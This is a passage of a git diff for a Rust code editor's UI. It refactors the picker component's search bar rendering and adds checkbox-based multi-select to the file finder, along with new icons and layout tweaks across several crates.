@@ -108,7 +108,6 @@ theme.workspace = true
 theme_settings.workspace = true
 time.workspace = true
 ui.workspace = true
-ui_input.workspace = true
 unicode-script.workspace = true
 unicode-segmentation.workspace = true
 url.workspace = true
diff --git a/crates/agent_ui/src/threads_archive_view.rs b/crates/agent_ui/src/threads_archive_view.rs
index 51d2644ac73d60..a9c232c7fafb2d 100644
--- a/crates/agent_ui/src/threads_archive_view.rs
+++ b/crates/agent_ui/src/threads_archive_view.rs
@@ -36,7 +36,6 @@ use ui::{
     Scrollbars, Tab, ThreadItem, Tooltip, WithScrollbar, prelude::*,
     utils::platform_title_bar_height,
 };
-use ui_input::ErasedEditor;
 use util::ResultExt;
 use util::paths::PathExt;
 use workspace::{
@@ -1302,22 +1301,6 @@ impl PickerDelegate for ProjectPickerDelegate {
         .into()
     }
 
-    fn render_editor(
-        &self,
-        editor: &Arc<dyn ErasedEditor>,
-        window: &mut Window,
-        cx: &mut Context<Picker<Self>>,
-    ) -> Div {
-        h_flex()
-            .flex_none()
-            .h_9()
-            .px_2p5()
-            .justify_between()
-            .border_b_1()
-            .border_color(cx.theme().colors().border_variant)
-            .child(editor.render(window, cx))
-    }
-
     fn match_count(&self) -> usize {
         self.filtered_entries.len()
     }
diff --git a/crates/file_finder/src/file_finder.rs b/crates/file_finder/src/file_finder.rs
index f02fb677441eb8..71c1d03efd29fc 100644
--- a/crates/file_finder/src/file_finder.rs
+++ b/crates/file_finder/src/file_finder.rs
@@ -14,9 +14,9 @@ use file_icons::FileIcons;
 use fuzzy::{StringMatch, StringMatchCandidate};
 use fuzzy_nucleo::{PathMatch, PathMatchCandidate};
 use gpui::{
-    Action, AnyElement, App, Context, DismissEvent, Empty, Entity, EventEmitter, FocusHandle,
-    Focusable, KeyContext, Modifiers, ModifiersChangedEvent, ParentElement, Render, Styled, Task,
-    TaskExt, WeakEntity, Window, actions, rems,
+    Action, AnyElement, App, Context, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable,
+    KeyContext, Modifiers, ModifiersChangedEvent, ParentElement, Render, Styled, Task, TaskExt,
+    WeakEntity, Window, actions, rems,
 };
 use language::{BufferSnapshot, Point};
 use open_path_prompt::{
@@ -40,7 +40,7 @@ use std::{
     },
     time::Duration,
 };
-use ui::{HighlightedLabel, Indicator, ListItem, ListItemSpacing, Tooltip, prelude::*};
+use ui::{Checkbox, HighlightedLabel, ListItem, ListItemSpacing, Tooltip, prelude::*};
 use util::{
     ResultExt, maybe,
     paths::{PathStyle, PathWithPosition},
@@ -1768,12 +1768,9 @@ impl PickerDelegate for FileFinderDelegate {
             "Include Ignored Files"
         };
 
-        let filter_button = IconButton::new("filter-ignored", IconName::Sliders)
+        let filter_button = IconButton::new("filter-ignored", IconName::FileIgnored)
             .icon_size(IconSize::Small)
             .toggle_state(including_ignored)
-            .when(self.include_ignored.is_some(), |this| {
-                this.indicator(Indicator::dot().color(Color::Info))
-            })
             .tooltip(move |_window, cx| {
                 Tooltip::for_action_in(tooltip_label, &ToggleIncludeIgnored, &focus_handle, cx)
             })
@@ -2034,31 +2031,59 @@ impl PickerDelegate for FileFinderDelegate {
         window: &mut Window,
         cx: &mut Context<Picker<Self>>,
     ) -> Option<Self::ListItem> {
-        let settings = FileFinderSettings::get_global(cx);
+        self.render_match_impl(ix, selected, None, window, cx)
+    }
 
-        let path_match = self.matches.get(ix)?;
+    fn render_match_with_checkbox(
+        &self,
+        ix: usize,
+        selected: bool,
+        checkbox: AnyElement,
+        window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Option<Self::ListItem> {
+        self.render_match_impl(ix, selected, Some(checkbox), window, cx)
+    }
 
-        let end_icon = match path_match {
-            Match::History { .. } => Icon::new(IconName::HistoryRerun)
-                .color(Color::Muted)
-                .size(IconSize::Small)
-                .into_any_element(),
-            Match::Search(_) => v_flex()
-                .flex_none()
-                .size(IconSize::Small.rems())
-                .into_any_element(),
-            Match::Channel { .. } => v_flex()
-                .flex_none()
-                .size(IconSize::Small.rems())
-                .into_any_element(),
-            Match::CreateNew(_) => Empty.into_any_element(),
+    fn actions_menu(
+        &self,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) -> Vec<picker::PickerAction> {
+        let open_label: SharedString = if self.selected_matches.len() > 1 {
+            "Open multiple".into()
+        } else {
+            "Open File".into()
         };
+        vec![
+            picker::PickerAction::header("Split…"),
+            picker::PickerAction::button("Left", pane::SplitLeft::default().boxed_clone()),
+            picker::PickerAction::button("Right", pane::SplitRight::default().boxed_clone()),
+            picker::PickerAction::button("Up", pane::SplitUp::default().boxed_clone()),
+            picker::PickerAction::button("Down", pane::SplitDown::default().boxed_clone()),
+            picker::PickerAction::separator(),
+            picker::PickerAction::button(open_label, menu::Confirm.boxed_clone()),
+        ]
+    }
+}
+
+impl FileFinderDelegate {
+    fn render_match_impl(
+        &self,
+        ix: usize,
+        selected: bool,
+        checkbox: Option<AnyElement>,
+        window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Option<ListItem> {
+        let settings = FileFinderSettings::get_global(cx);
 
-        let is_create_new = matches!(path_match, Match::CreateNew(_));
+        let path_match = self.matches.get(ix)?;
 
         let (file_name_label, full_path_label) = self.labels_for_match(path_match, window, cx);
 
-        let file_icon = match path_match {
+        let start_icon = match path_match {
+            Match::CreateNew(_) => Some(Icon::new(IconName::Plus).size(IconSize::Small)),
             Match::Channel { .. } => Some(Icon::new(IconName::Hash).color(Color::Muted)),
             _ => maybe!({
                 if !settings.file_icons {
@@ -2071,18 +2096,50 @@ impl PickerDelegate for FileFinderDelegate {
             }),
         };
 
+        let checkbox = checkbox.map(|checkbox| {
+            if matches!(path_match, Match::CreateNew(_) | Match::Channel { .. }) {
+                div()
+                    .flex_none()
+                    .size(Checkbox::container_size())
+                    .into_any_element()
+            } else {
+                checkbox
+            }
+        });
+
+        let start_slot: Option<AnyElement> = match (checkbox, start_icon) {
+            (Some(checkbox), icon) => Some(
+                h_flex()
+                    .gap_1p5()
+                    .child(checkbox)
+                    .children(icon)
+                    .into_any_element(),
+            ),
+            (None, icon) => icon.map(IntoElement::into_any_element),
+        };
+
+        let end_slot: Option<AnyElement> = match path_match {
+            Match::History { .. } => Some(
+                Icon::new(IconName::HistoryRerun)
+                    .color(Color::Muted)
+                    .size(IconSize::Small)
+                    .into_any_element(),
+            ),
+            Match::Search(_) | Match::Channel { .. } => Some(
+                div()
+                    .flex_none()
+                    .size(IconSize::Small.rems())
+                    .into_any_element(),
+            ),
+            Match::CreateNew(_) => None,
+        };
+
         Some(
             ListItem::new(ix)
                 .spacing(ListItemSpacing::Sparse)
                 .inset(true)
                 .toggle_state(selected)
-                .map(|this| {
-                    if is_create_new {
-                        this.start_slot(Icon::new(IconName::Plus).size(IconSize::Small))
-                    } else {
-                        this.start_slot::<Icon>(file_icon)
-                    }
-                })
+                .start_slot::<AnyElement>(start_slot)
                 .child(
                     h_flex()
                         .w_full()
@@ -2091,30 +2148,9 @@ impl PickerDelegate for FileFinderDelegate {
                         .child(file_name_label.truncate_middle())
                         .child(full_path_label.truncate_start()),
                 )
-                .end_slot::<AnyElement>(end_icon),
+                .end_slot::<AnyElement>(end_slot),
         )
     }
-
-    fn actions_menu(
-        &self,
-        _window: &mut Window,
-        _cx: &mut Context<Picker<Self>>,
-    ) -> Vec<picker::PickerAction> {
-        let open_label: SharedString = if self.selected_matches.len() > 1 {
-            "Open multiple".into()
-        } else {
-            "Open File".into()
-        };
-        vec![
-            picker::PickerAction::header("Split…"),
-            picker::PickerAction::button("Left", pane::SplitLeft::default().boxed_clone()),
-            picker::PickerAction::button("Right", pane::SplitRight::default().boxed_clone()),
-            picker::PickerAction::button("Up", pane::SplitUp::default().boxed_clone()),
-            picker::PickerAction::button("Down", pane::SplitDown::default().boxed_clone()),
-            picker::PickerAction::separator(),
-            picker::PickerAction::button(open_label, menu::Confirm.boxed_clone()),
-        ]
-    }
 }
 
 #[derive(Clone, Debug, PartialEq, Eq)]
diff --git a/crates/git_ui/src/branch_picker.rs b/crates/git_ui/src/branch_picker.rs
index 61ed9987a22b43..9cc86df9a73ad3 100644
--- a/crates/git_ui/src/branch_picker.rs
+++ b/crates/git_ui/src/branch_picker.rs
@@ -1201,79 +1201,81 @@ impl PickerDelegate for BranchListDelegate {
         editor: &Arc<dyn ErasedEditor>,
         _window: &mut Window,
         cx: &mut Context<Picker<Self>>,
-    ) -> Div {
+    ) -> Option<Div> {
         let picker = cx.weak_entity();
         let editor = editor.as_any().downcast_ref::<Entity<Editor>>().unwrap();
 
         let show_inline_filter =
             self.editor_position() == PickerEditorPosition::End || !self.show_footer;
 
-        v_flex()
-            .when(
-                self.editor_position() == PickerEditorPosition::End,
-                |this| this.child(Divider::horizontal()),
-            )
-            .when_some(self.branch_list_error.clone(), |this, error| {
-                let message = format!("Some branches could not be loaded: {error}");
-                this.child(
-                    div()
-                        .id("branch-list-error")
-                        .p_1p5()
-                        .child(
-                            Banner::new().severity(Severity::Warning).child(
-                                Label::new(message.clone())
-                                    .size(LabelSize::Small)
-                                    .single_line()
-                                    .truncate(),
-                            ),
-                        )
-                        .tooltip(Tooltip::text(message)),
+        Some(
+            v_flex()
+                .when(
+                    self.editor_position() == PickerEditorPosition::End,
+                    |this| this.child(Divider::horizontal()),
                 )
-            })
-            .child(
-                h_flex()
-                    .overflow_hidden()
-                    .flex_none()
-                    .h_9()
-                    .px_2p5()
-                    .child(editor.clone())
-                    .when(show_inline_filter, |this| {
-                        let branch_filter = self.branch_filter;
-                        let picker_for_menu_open = picker.clone();
-                        this.gap_1().justify_between().child(
-                            PopoverMenu::new("branch-filter-menu")
-                                .with_handle(self.branch_filter_menu_handle.clone())
-                                .on_open(Rc::new(move |_, cx| {
-                                    picker_for_menu_open
-                                        .update(cx, |picker, _| {
-                                            picker.delegate.branch_filter_menu_open = true;
-                                        })
-                                        .log_err();
-                                }))
-                                .trigger(
-                                    IconButton::new("branch-filter", IconName::ListFilter)
-                                        .toggle_state(branch_filter != BranchFilter::All)
-                                        .when(branch_filter != BranchFilter::All, |this| {
-                                            this.indicator(Indicator::dot().color(Color::Info))
-                                        })
-                                        .icon_size(IconSize::Small)
-                                        .tooltip(Tooltip::text("Filter branches")),
-                                )
-                                .menu(move |window, cx| {
-                                    Some(branch_filter_menu(
-                                        branch_filter,
-                                        picker.clone(),
-                                        window,
-                                        cx,
-                                    ))
-                                }),
-                        )
-                    }),
-            )
-            .when(
-                self.editor_position() == PickerEditorPosition::Start,
-                |this| this.child(Divider::horizontal()),
-            )
+                .when_some(self.branch_list_error.clone(), |this, error| {
+                    let message = format!("Some branches could not be loaded: {error}");
+                    this.child(
+                        div()
+                            .id("branch-list-error")
+                            .p_1p5()
+                            .child(
+                                Banner::new().severity(Severity::Warning).child(
+                                    Label::new(message.clone())
+                                        .size(LabelSize::Small)
+                                        .single_line()
+                                        .truncate(),
+                                ),
+                            )
+                            .tooltip(Tooltip::text(message)),
+                    )
+                })
+                .child(
+                    h_flex()
+                        .overflow_hidden()
+                        .flex_none()
+                        .h_9()
+                        .px_2p5()
+                        .child(editor.clone())
+                        .when(show_inline_filter, |this| {
+                            let branch_filter = self.branch_filter;
+                            let picker_for_menu_open = picker.clone();
+                            this.gap_1().justify_between().child(
+                                PopoverMenu::new("branch-filter-menu")
+                                    .with_handle(self.branch_filter_menu_handle.clone())
+                                    .on_open(Rc::new(move |_, cx| {
+                                        picker_for_menu_open
+                                            .update(cx, |picker, _| {
+                                                picker.delegate.branch_filter_menu_open = true;
+                                            })
+                                            .log_err();
+                                    }))
+                                    .trigger(
+                                        IconButton::new("branch-filter", IconName::ListFilter)
+                                            .toggle_state(branch_filter != BranchFilter::All)
+                                            .when(branch_filter != BranchFilter::All, |this| {
+                                                this.indicator(Indicator::dot().color(Color::Info))
+                                            })
+                                            .icon_size(IconSize::Small)
+                                            .tooltip(Tooltip::text("Filter branches")),
+                                    )
+                                    .menu(move |window, cx| {
+                                        Some(branch_filter_menu(
+                                            branch_filter,
+                                            picker.clone(),
+                                            window,
+                                            cx,
+                                        ))
+                                    }),
+                            )
+                        }),
+                )
+                .when(
+                    self.editor_position() == PickerEditorPosition::Start,
+                    |this| this.child(Divider::horizontal()),
+                ),
+        )
     }
 
     fn editor_position(&self) -> PickerEditorPosition {
diff --git a/crates/icons/src/icons.rs b/crates/icons/src/icons.rs
index 3e22896e3256e8..3f015608b39cb4 100644
--- a/crates/icons/src/icons.rs
+++ b/crates/icons/src/icons.rs
@@ -129,8 +129,10 @@ pub enum IconName {
     FileDoc,
     FileGeneric,
     FileGit,
+    FileIgnored,
     FileLock,
     FileMarkdown,
+    FileMultiple,
     FileRust,
     FileTextFilled,
     FileTextOutlined,
diff --git a/crates/picker/src/footer.rs b/crates/picker/src/footer.rs
index 6c0d8c8bb00a5a..7e94e04ecfc0cc 100644
--- a/crates/picker/src/footer.rs
+++ b/crates/picker/src/footer.rs
@@ -8,7 +8,6 @@ use crate::PickerDelegate;
 use crate::SetPreviewBelow;
 use crate::SetPreviewRight;
 use crate::ToggleActionsMenu;
-use crate::ToggleMultiSelect;
 use crate::TogglePreview;
 use crate::preview;
 
@@ -98,18 +97,8 @@ impl<D: PickerDelegate> Picker<D> {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Option<AnyElement> {
-        let mut actions = self.delegate.actions_menu(window, cx);
-        // The multi-select entry is picker-owned so it can reflect the mode,
-        // which delegates don't know about.
-        if self.delegate.supports_multi_select() {
-            if !actions.is_empty() {
-                actions.push(PickerAction::separator());
-            }
-            actions.push(
-                PickerAction::button("Multi Select", ToggleMultiSelect.boxed_clone())
-                    .toggled(self.select_instead_of_open),
-            );
-        }
+        let actions = self.delegate.actions_menu(window, cx);
+
         if self.preview.is_none() && actions.is_empty() {
             return None;
         }
@@ -123,9 +112,9 @@ impl<D: PickerDelegate> Picker<D> {
                 .justify_between()
                 .border_t_1()
                 .border_color(cx.theme().colors().border_variant)
-                .child(div().when(self.preview.is_some(), |this| {
+                .when(self.preview.is_some(), |this| {
                     this.child(self.render_preview_controls(window, cx))
-                }))
+                })
                 .when(!actions.is_empty(), |this| {
                     this.child(self.render_actions_button(actions.into(), focus_handle, window, cx))
                 })
@@ -206,11 +195,8 @@ impl<D: PickerDelegate> Picker<D> {
         _window: &mut Window,
         cx: &mut Context<Self>,
     ) -> impl IntoElement {
-        let _ = cx;
         PopoverMenu::new("picker-actions-menu")
             .with_handle(self.actions_menu_handle.clone())
-            .attach(gpui::Anchor::TopRight)
-            .anchor(gpui::Anchor::BottomRight)
             .trigger(
                 Button::new("picker-actions-trigger", "Actions…")
                     .key_binding(
@@ -230,5 +216,11 @@ impl<D: PickerDelegate> Picker<D> {
                     menu
                 }))
             })
+            .attach(gpui::Anchor::TopRight)
+            .anchor(gpui::Anchor::BottomRight)
+            .offset(gpui::Point {
+                x: px(0.0),
+                y: px(-2.0),
+            })
     }
 }
diff --git a/crates/picker/src/picker.rs b/crates/picker/src/picker.rs
index dbc8f2216073c0..f3c8b0a2684286 100644
--- a/crates/picker/src/picker.rs
+++ b/crates/picker/src/picker.rs
@@ -11,7 +11,10 @@ use serde::Deserialize;
 use std::{
     cell::Cell, cell::RefCell, collections::HashMap, ops::Range, rc::Rc, sync::Arc, time::Duration,
 };
-use ui::{ContextMenu, Divider, DocumentationAside, PopoverMenuHandle, prelude::*, v_flex};
+use ui::{
+    Checkbox, ContextMenu, Divider, DocumentationAside, KeyBinding, PopoverMenuHandle, Tooltip,
+    prelude::*,
+};
 use ui_input::ErasedEditorEvent;
 use util::ResultExt;
 use workspace::ModalView;
@@ -323,30 +326,17 @@ pub trait PickerDelegate: Sized + 'static {
         None
     }
 
+    /// Overrides the search bar entirely. Most delegates should return `None`
+    /// to get the picker-rendered default (which includes
+    /// [`Self::searchbar_trailer`] and the multi-select toggle); override for
+    /// full control over the search bar.
     fn render_editor(
         &self,
-        editor: &Arc<dyn ErasedEditor>,
-        window: &mut Window,
-        cx: &mut Context<Picker<Self>>,
-    ) -> Div {
-        v_flex()
-            .when(
-                self.editor_position() == PickerEditorPosition::End,
-                |this| this.child(Divider::horizontal()),
-            )
-            .child(
-                h_flex()
-                    .overflow_hidden()
-                    .flex_none()
-                    .h_9()
-                    .px_2p5()
-                    .child(div().flex_1().child(editor.render(window, cx)))
-                    .children(self.searchbar_trailer(window, cx)),
-            )
-            .when(
-                self.editor_position() == PickerEditorPosition::Start,
-                |this| this.child(Divider::horizontal()),
-            )
+        _editor: &Arc<dyn ErasedEditor>,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) -> Option<Div> {
+        None
     }
 
     fn try_get_preview_data_for_match(&self, _cx: &App) -> Option<PreviewUpdate> {
@@ -365,6 +355,17 @@ pub trait PickerDelegate: Sized + 'static {
         cx: &mut Context<Picker<Self>>,
     ) -> Option<Self::ListItem>;
 
+    fn render_match_with_checkbox(
+        &self,
+        _ix: usize,
+        _selected: bool,
+        _checkbox: AnyElement,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) -> Option<Self::ListItem> {
+        None
+    }
+
     fn render_header(
         &self,
         _window: &mut Window,
@@ -922,6 +923,7 @@ impl<D: PickerDelegate> Picker<D> {
         cx: &mut Context<Self>,
     ) {
         if !self.delegate.supports_multi_select() {
+            cx.propagate();
             return;
         }
         self.select_instead_of_open = !self.select_instead_of_open;
@@ -1263,12 +1265,55 @@ impl<D: PickerDelegate> Picker<D> {
         let is_multi_selected = supports_multi_select && self.delegate.is_item_selected(ix);
         let multi_select_active = supports_multi_select && self.select_instead_of_open;
 
+        let item_with_checkbox = if multi_select_active && selectable {
+            let checkbox = self
+                .render_multi_select_indicator(ix, is_multi_selected, cx)
+                .into_any_element();
+            self.delegate.render_match_with_checkbox(
+                ix,
+                ix == self.delegate.selected_index(),
+                checkbox,
+                window,
+                cx,
+            )
+        } else {
+            None
+        };
+
+        let use_fallback_indicator =
+            multi_select_active && selectable && item_with_checkbox.is_none();
+        let focus_handle = self.focus_handle(cx);
+
         div()
             .id(("item", ix))
             .when(selectable, |this| this.cursor_pointer())
-            .when(selectable && multi_select_active, |this| {
+            .when(use_fallback_indicator, |this| {
                 this.hover(|s| s.bg(cx.theme().colors().ghost_element_hover))
             })
+            .when(multi_select_active && selectable, |this| {
+                this.tooltip(Tooltip::element(move |_window, cx| {
+                    h_flex()
+                        .gap_2()
+                        .child(
+                            h_flex()
+                                .gap_1()
+                                .child(KeyBinding::for_action_in(
+                                    &MultiSelectNext,
+                                    &focus_handle,
+                                    cx,
+                                ))
+                                .child(Label::new("Select")),
+                        )
+                        .child(Divider::vertical())
+                        .child(
+                            h_flex()
+                                .gap_1()
+                                .child(KeyBinding::for_action_in(&menu::Confirm, &focus_handle, cx))
+                                .child(Label::new("Open")),
+                        )
+                        .into_any_element()
+                }))
+            })
             .child(
                 canvas(
                     move |bounds, _window, _cx| {
@@ -1310,17 +1355,19 @@ impl<D: PickerDelegate> Picker<D> {
                 }))
             })
             .map(|row| {
-                // Pickers without multi-select keep their element tree
-                // unchanged.
-                if supports_multi_select {
+                if let Some(item) = item_with_checkbox {
+                    row.child(item)
+                } else if supports_multi_select {
                     row.child(
                         h_flex()
                             // Headers and separators cannot be part of the
                             // selection, so they get no indicator.
-                            .when(multi_select_active && selectable, |this| {
-                                this.child(
-                                    self.render_multi_select_indicator(is_multi_selected, cx),
-                                )
+                            .when(use_fallback_indicator, |this| {
+                                this.child(self.render_multi_select_indicator(
+                                    ix,
+                                    is_multi_selected,
+                                    cx,
+                                ))
                             })
                             .children(self.delegate.render_match(
                                 ix,
@@ -1349,39 +1396,21 @@ impl<D: PickerDelegate> Picker<D> {
             )
     }
 
-    /// The checkbox in front of items while in multi-select mode.
     fn render_multi_select_indicator(
         &self,
+        ix: usize,
         is_selected: bool,
         cx: &mut Context<Self>,
     ) -> impl IntoElement {
-        h_flex()
-            .w_6()
-            .flex_none()
-            .justify_center()
-            .items_center()
-            .child(
-                div()
-                    .size_4()
-                    .flex_none()
-                    .rounded_sm()
-                    .border_1()
-                    .border_color(if is_selected {
-                        cx.theme().colors().border_focused
-                    } else {
-                        cx.theme().colors().border
-                    })
-                    .flex()
-                    .items_center()
-                    .justify_center()
-                    .when(is_selected, |this| {
-                        this.bg(cx.theme().colors().element_selected).child(
-                            Icon::new(IconName::Check)
-                                .size(IconSize::Small)
-                                .color(Color::Accent),
-                        )
-                    }),
-            )
+        Checkbox::new(("picker-multi-select-checkbox", ix), is_selected.into())
+            .fill()
+            .elevation(ui::ElevationIndex::ModalSurface)
+            .on_click(cx.listener(move |this, _: &ui::ToggleState, window, cx| {
+                // Don't let the row's click handler also toggle the item.
+                cx.stop_propagation();
+                this.delegate.toggle_item_selected(ix, window, cx);
+                cx.notify();
+            }))
     }
 
     fn render_element_container(&self, cx: &mut Context<Self>) -> impl IntoElement {
diff --git a/crates/picker/src/render.rs b/crates/picker/src/render.rs
index 499b0982eedb32..e61425466cc461 100644
--- a/crates/picker/src/render.rs
+++ b/crates/picker/src/render.rs
@@ -10,12 +10,17 @@ use ui::{
 
 use crate::shape::Shape;
 use crate::{
-    ElementContainer, Picker, PickerDelegate, PickerEditorPosition, Preview,
+    ElementContainer, Picker, PickerDelegate, PickerEditorPosition, Preview, ToggleMultiSelect,
     head::Head,
     preview::Layout,
     render::window_controls::{Bottom, Left, LeftCorner, Middle, Right, RightCorner},
 };
 use crate::{persistence, preview};
+use gpui::Action as _;
+use gpui::Focusable as _;
+use std::sync::Arc;
+use ui::{Divider, Tooltip, prelude::*};
+use ui_input::ErasedEditor;
 
 pub mod window_controls;
 
@@ -88,6 +93,54 @@ impl<D: PickerDelegate> Render for Picker<D> {
 }
 
 impl<D: PickerDelegate> Picker<D> {
+    fn render_editor(
+        &self,
+        editor: &Arc<dyn ErasedEditor>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> gpui::Div {
+        if let Some(custom) = self.delegate.render_editor(editor, window, cx) {
+            return custom;
+        }
+        let editor_position = self.delegate.editor_position();
+
+        v_flex()
+            .when(editor_position == PickerEditorPosition::End, |this| {
+                this.child(Divider::horizontal())
+            })
+            .child(
+                h_flex()
+                    .h_9()
+                    .px_2p5()
+                    .flex_none()
+                    .overflow_hidden()
+                    .child(div().flex_1().child(editor.render(window, cx)))
+                    .children(self.delegate.searchbar_trailer(window, cx))
+                    .when(self.delegate.supports_multi_select(), |this| {
+                        this.child(self.render_multi_select_toggle(cx))
+                    }),
+            )
+            .when(editor_position == PickerEditorPosition::Start, |this| {
+                this.child(Divider::horizontal())
+            })
+    }
+
+    /// The multi-select toggle is picker-owned so it can reflect the mode,
+    /// which delegates don't know about.
+    fn render_multi_select_toggle(&self, cx: &mut Context<Self>) -> impl IntoElement {
+        let active = self.select_instead_of_open;
+        let focus_handle = self.focus_handle(cx);
+        IconButton::new("picker-multi-select-toggle", IconName::FileMultiple)
+            .icon_size(IconSize::Small)
+            .toggle_state(active)
+            .tooltip(move |_window, cx| {
+                Tooltip::for_action_in("Toggle Multi Select", &ToggleMultiSelect, &focus_handle, cx)
+            })
+            .on_click(cx.listener(|_, _, window, cx| {
+                window.dispatch_action(ToggleMultiSelect.boxed_clone(), cx);
+            }))
+    }
+
     pub(crate) fn render_results(
         &self,
         window: &mut Window,
@@ -154,13 +207,14 @@ impl<D: PickerDelegate> Picker<D> {
             .children(match &self.head {
                 Head::Editor(editor) => {
                     if editor_position == PickerEditorPosition::Start {
-                        Some(h_flex().w_full().child(
-                            div().flex_1().child(self.delegate.render_editor(
-                                &editor.clone(),
-                                window,
-                                cx,
-                            )),
-                        ))
+                        let editor = editor.clone();
+                        Some(
+                            h_flex().w_full().child(
+                                div()
+                                    .flex_1()
+                                    .child(self.render_editor(&editor, window, cx)),
+                            ),
+                        )
                     } else {
                         None
                     }
@@ -220,7 +274,8 @@ impl<D: PickerDelegate> Picker<D> {
             .children(match &self.head {
                 Head::Editor(editor) => {
                     if editor_position == PickerEditorPosition::End {
-                        Some(self.delegate.render_editor(&editor.clone(), window, cx))
+                        let editor = editor.clone();
+                        Some(self.render_editor(&editor, window, cx))
                     } else {
                         None
                     }
diff --git a/crates/picker/src/shape.rs b/crates/picker/src/shape.rs
index 217ff6a8fc55d0..034834ef781a74 100644
--- a/crates/picker/src/shape.rs
+++ b/crates/picker/src/shape.rs
@@ -1,6 +1,6 @@
 use gpui::Window;
 use gpui::{Pixels, Rems, Size};
-use ui::{Div, Styled};
+use ui::{Div, Styled, rems_from_px};
 
 use crate::preview::Layout;
 
@@ -242,12 +242,12 @@ impl Default for SizeBounds {
             // over the lower bar so clear another 5 rems there.
             max_height: (RelativeHeight::FULL - Rems(10.0)) * 0.95,
             min_results: Size {
-                width: Rems(15.0),
-                height: Rems(20.0),
+                width: rems_from_px(280.),
+                height: rems_from_px(320.),
             },
             min_preview: Size {
-                width: Rems(8.0),
-                height: Rems(6.0),
+                width: rems_from_px(128.),
+                height: rems_from_px(96.),
             },
         }
     }
diff --git a/crates/recent_projects/Cargo.toml b/crates/recent_projects/Cargo.toml
index 013e00e96483cd..99a563aff44ad9 100644
--- a/crates/recent_projects/Cargo.toml
+++ b/crates/recent_projects/Cargo.toml
@@ -47,7 +47,6 @@ settings.workspace = true
 task.workspace = true
 telemetry.workspace = true
 ui.workspace = true
-ui_input.workspace = true
 util.workspace = true
 workspace.workspace = true
 worktree.workspace = true
diff --git a/crates/recent_projects/src/recent_projects.rs b/crates/recent_projects/src/recent_projects.rs
index 781d85c874b8ef..369cff1cc6e6f2 100644
--- a/crates/recent_projects/src/recent_projects.rs
+++ b/crates/recent_projects/src/recent_projects.rs
@@ -36,7 +36,6 @@ use project::{Worktree, git_store::Repository};
 pub use remote_connections::RemoteSettings;
 pub use remote_servers::RemoteServerProjects;
 use settings::{DefaultOpenBehavior, Settings, WorktreeId};
-use ui_input::ErasedEditor;
 use workspace::ProjectGroupKey;
 
 use dev_container::{DevContainerContext, find_devcontainer_configs};
@@ -938,22 +937,6 @@ impl PickerDelegate for RecentProjectsDelegate {
         "Search projects…".into()
     }
 
-    fn render_editor(
-        &self,
-        editor: &Arc<dyn ErasedEditor>,
-        window: &mut Window,
-        cx: &mut Context<Picker<Self>>,
-    ) -> Div {
-        h_flex()
-            .flex_none()
-            .h_9()
-            .px_2p5()
-            .justify_between()
-            .border_b_1()
-            .border_color(cx.theme().colors().border_variant)
-            .child(editor.render(window, cx))
-    }
-
     fn match_count(&self) -> usize {
         self.filtered_entries.len()
     }
diff --git a/crates/recent_projects/src/sidebar_recent_projects.rs b/crates/recent_projects/src/sidebar_recent_projects.rs
index 8955e63793f740..006fb7f35d7748 100644
--- a/crates/recent_projects/src/sidebar_recent_projects.rs
+++ b/crates/recent_projects/src/sidebar_recent_projects.rs
@@ -12,7 +12,6 @@ use picker::{
 use remote::RemoteConnectionOptions;
 use settings::Settings;
 use ui::{ButtonLike, KeyBinding, ListItem, ListItemSpacing, Tooltip, prelude::*};
-use ui_input::ErasedEditor;
 use util::{ResultExt, paths::PathExt};
 use workspace::{
     MultiWorkspace, OpenMode, OpenOptions, ProjectGroupKey, RecentWorkspace,
@@ -144,22 +143,6 @@ impl PickerDelegate for SidebarRecentProjectsDelegate {
         "Search projects…".into()
     }
 
-    fn render_editor(
-        &self,
-        editor: &Arc<dyn ErasedEditor>,
-        window: &mut Window,
-        cx: &mut Context<Picker<Self>>,
-    ) -> Div {
-        h_flex()
-            .flex_none()
-            .h_9()
-            .px_2p5()
-            .justify_between()
-            .border_b_1()
-            .border_color(cx.theme().colors().border_variant)
-            .child(editor.render(window, cx))
-    }
-
     fn match_count(&self) -> usize {
         self.filtered_workspaces.len()
     }
diff --git a/crates/search/src/search.rs b/crates/search/src/search.rs
index dc71ec5c4a6e58..cef989dbdf8482 100644
--- a/crates/search/src/search.rs
+++ b/crates/search/src/search.rs
@@ -5,8 +5,7 @@ use editor::SearchSettings;
 use gpui::{Action, App, ClickEvent, Entity, FocusHandle, IntoElement, actions};
 use project::search::SearchQuery;
 pub use project_search::ProjectSearchView;
-use ui::{ButtonStyle, IconButton, IconButtonShape};
-use ui::{Tooltip, prelude::*};
+use ui::{IconButtonShape, Tooltip, prelude::*};
 use util::paths::PathMatcher;
 use workspace::notifications::NotificationId;
 use workspace::{Toast, Workspace};
@@ -115,10 +114,10 @@ impl SearchOption {
 
     pub fn icon(&self) -> ui::IconName {
         match self {
-            SearchOption::WholeWord => ui::IconName::WholeWord,
-            SearchOption::CaseSensitive => ui::IconName::CaseSensitive,
-            SearchOption::IncludeIgnored => ui::IconName::Sliders,
-            SearchOption::Regex => ui::IconName::Regex,
+            SearchOption::WholeWord => IconName::WholeWord,
+            SearchOption::CaseSensitive => IconName::CaseSensitive,
+            SearchOption::IncludeIgnored => IconName::FileIgnored,
+            SearchOption::Regex => IconName::Regex,
             _ => panic!("{self:?} is not a named SearchOption"),
         }
     }
@@ -141,6 +140,7 @@ impl SearchOption {
     ) -> impl IntoElement {
         let action = self.to_toggle_action();
         let label = self.label();
+
         IconButton::new(
             (label, matches!(search_source, SearchSource::Buffer) as u32),
             self.icon(),
@@ -162,7 +162,6 @@ impl SearchOption {
                 }))
             }
         })
-        .style(ButtonStyle::Subtle)
         .shape(IconButtonShape::Square)
         .toggle_state(active.contains(self.as_options()))
         .tooltip(move |_window, cx| Tooltip::for_action_in(label, action, &focus_handle, cx))
diff --git a/crates/search/src/text_finder/delegate.rs b/crates/search/src/text_finder/delegate.rs
index 195223782f69bc..8acc4338d44ceb 100644
--- a/crates/search/src/text_finder/delegate.rs
+++ b/crates/search/src/text_finder/delegate.rs
@@ -45,8 +45,8 @@ use smol::future::yield_now;
 use text::Anchor;
